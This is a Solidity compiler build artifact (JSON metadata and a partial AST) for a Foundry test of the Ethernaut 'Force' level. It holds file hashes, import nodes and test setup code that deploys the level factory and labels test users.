Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/ForceAttack.sol":{"keccak256":"0x876555a235e3069328511570b55ae5d2da411e67979faec9b436170fefc24a44","urls":["bzz-raw://a63ecc91aa3a386e1119b4aff97940fed0b704a301b1077743fd92c89882a43d","dweb:/ipfs/QmafZVLt3pWfCx6EHVZmU6MGNdZUVmrxihVt9bB5dpJQXx"],"license":"MIT"},"src/levels/Force.sol":{"keccak256":"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff","urls":["bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74","dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF"],"license":"MIT"},"src/levels/ForceFactory.sol":{"keccak256":"0x928787f53558486d875a79627314da05281b1c754f0e78e000c9f889c959f138","urls":["bzz-raw://a75a4528df8313d33459153c2100594b8abf360d13979c3e9f1c7d667b0930e5","dweb:/ipfs/QmVZtQsMAABd1PhsqthPeoaVhkpLAAPErG7sqEsweiidvS"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Force.t.sol":{"keccak256":"0x62a499d39a31608d85fe73e7c1d8a0af9353bfb68c8c967af21b6eb7d68671f9","urls":["bzz-raw://5eadc26d52071ccd3c10c4f459939b89c8b905bdfc05737de3cf3527148bca86","dweb:/ipfs/QmfSwHVvXzrBEmhH7CVoSLS9mSNQ8Tq79AVxK4gJkFQPY6"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Force.t.sol","id":61201,"exportedSymbols":{"Ethernaut":[49101],"Force":[52437],"ForceAttack":[49337],"ForceFactory":[52491],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestForce":[61200],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1957:131","nodes":[{"id":61006,"nodeType":"PragmaDirective","src":"32:23:131","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":61007,"nodeType":"ImportDirective","src":"57:28:131","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":61009,"nodeType":"ImportDirective","src":"86:43:131","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":61008,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61011,"nodeType":"ImportDirective","src":"131:43:131","nodes":[],"absolutePath":"src/levels/Force.sol","file":"src/levels/Force.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":52438,"symbolAliases":[{"foreign":{"id":61010,"name":"Force","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52437,"src":"139:5:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61013,"nodeType":"ImportDirective","src":"175:57:131","nodes":[],"absolutePath":"src/levels/ForceFactory.sol","file":"src/levels/ForceFactory.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":52492,"symbolAliases":[{"foreign":{"id":61012,"name":"ForceFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52491,"src":"183:12:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61015,"nodeType":"ImportDirective","src":"233:56:131","nodes":[],"absolutePath":"src/attacks/ForceAttack.sol","file":"src/attacks/ForceAttack.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":49338,"symbolAliases":[{"foreign":{"id":61014,"name":"ForceAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49337,"src":"241:11:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61017,"nodeType":"ImportDirective","src":"290:48:131","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":61016,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"298:5:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61019,"nodeType":"ImportDirective","src":"339:44:131","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61201,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":61018,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"347:9:131","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61200,"nodeType":"ContractDefinition","src":"385:1603:131","nodes":[{"id":61026,"nodeType":"VariableDeclaration","src":"425:19:131","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"435:9:131","scope":61200,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":61025,"nodeType":"UserDefinedTypeName","pathNode":{"id":61024,"name":"Ethernaut","nameLocations":["425:9:131"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"425:9:131"},"referencedDeclaration":49101,"src":"425:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":61029,"nodeType":"VariableDeclaration","src":"450:14:131","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"456:8:131","scope":61200,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"},"typeName":{"id":61028,"nodeType":"UserDefinedTypeName","pathNode":{"id":61027,"name":"Force","nameLocations":["450:5:131"],"nodeType":"IdentifierPath","referencedDeclaration":52437,"src":"450:5:131"},"referencedDeclaration":52437,"src":"450:5:131","typeDescriptions":{"typeIdentifier":"t_contract$_Force_$52437","typeString":"contract Force"}},"visibility":"internal"},{"id":61031,"nodeType":"VariableDeclaration","src":"471:21:131","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"487:5:131","scope":61200,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61030,"name":"address","nodeType":"ElementaryTypeName","src":"471:15:131","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61033,"nodeType":"VariableDeclaration","src":"498:22:131","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"514:6:131","scope":61200,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61032,"name":"address","nodeType":"ElementaryTypeName","src":"498:15:131","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61135,"nodeType":"FunctionDefinition","src":"707:583:131","nodes":[],"body":{"id":61134,"nodeType":"Block","src":"731:559:131","nodes":[],"statements":[{"assignments":[61038],"declarations":[{"constant":false,"id":61038,"mutability":"mutable","name":"users","nameLocation":"766:5:131","nodeType":"VariableDeclaration","scope":61134,"src":"741:30:131","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":61036,"name":"address","nodeType":"ElementaryTypeName","src":"741:15:131","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61037,"nodeType":"ArrayTypeName","src":"741:17:131","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":61042,"initialValue":{"arguments":[{"hexValue":"32","id":61040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"786:1:131","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":61039,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"774:11:131","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":61041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"774:14:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"741:47:131"},{"expression":{"id":61047,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61043,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61031,"src":"799:5:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61044,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61038,"src":"807:5:131","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61046,"indexExpression":{"hexValue":"30","id":61045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"813:1:131","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"807:8:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"799:16:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61048,"nodeType":"ExpressionStatement","src":"799:16:131"},{"expression":{"arguments":[{"id":61052,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61031,"src":"834:5:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":61053,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"841:7:131","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":61049,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"825:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61051,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"828:5:131","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"825:8:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"825:24:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61055,"nodeType":"ExpressionStatement","src":"825:24:131"},{"expression":{"id":61060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61056,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61033,"src":"860:6:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61057,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61038,"src":"869:5:131","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61059,"indexExpression":{"hexValue":"31","id":61058,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"875:1:131","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"869:8:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"860:17:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61061,"nodeType":"ExpressionStatement","src":"860:17:131"},{"expression":{"arguments":[{"id":61065,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61033,"src":"896:6:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":61066,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"904:8:131","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":61062,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"887:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"890:5:131","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"887:8:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61067,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"887:26:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61068,"nodeType":"ExpressionStatement","src":"887:26:131"},{"expression":{"arguments":[{"id":61072,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61031,"src":"938:5:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61069,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"924:2:131","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61071,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"927:10:131","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"924:13:131","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61073,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"924:20:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61074,"nodeType":"ExpressionStatement","src":"924:20:131"},{"expression":{"id":61079,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61075,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61026,"src":"954:9:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":61077,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61031,"src":"993:5:131","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":61076,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"966:26:131","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":61078,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:33:131","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"954:45:131","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":61080,"nodeType":"ExpressionStatement","src":"954:45:131"},{"assignments":[61083],"declarations":[{"constant":false,"id":61083,"mutability":"mutable","name":"factory","nameLocation":"1022:7:131","nodeType":"VariableDeclaration","scope":61134,"src":"1009:20:131","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"},"typeName":{"id":61082,"nodeType":"UserDefinedTypeName","pathNode":{"id":61081,"name":"ForceFactory","nameLocations":["1009:12:131"],"nodeType":"IdentifierPath","referencedDeclaration":52491,"src":"1009:12:131"},"referencedDeclaration":52491,"src":"1009:12:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract ForceFactory"}},"visibility":"internal"}],"id":61088,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":61086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1032:16:131","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ForceFactory_$52491_$","typeString":"function () returns (contract ForceFactory)"},"typeName":{"id":61085,"nodeType":"UserDefinedTypeName","pathNode":{"id":61084,"name":"ForceFactory","nameLocations":["1036:12:131"],"nodeType":"IdentifierPath","referencedDeclaration":52491,"src":"1036:12:131"},"referencedDeclaration":52491,"src":"1036:12:131","typeDescriptions":{"typeIdentifier":"t_contract$_ForceFactory_$52491","typeString":"contract 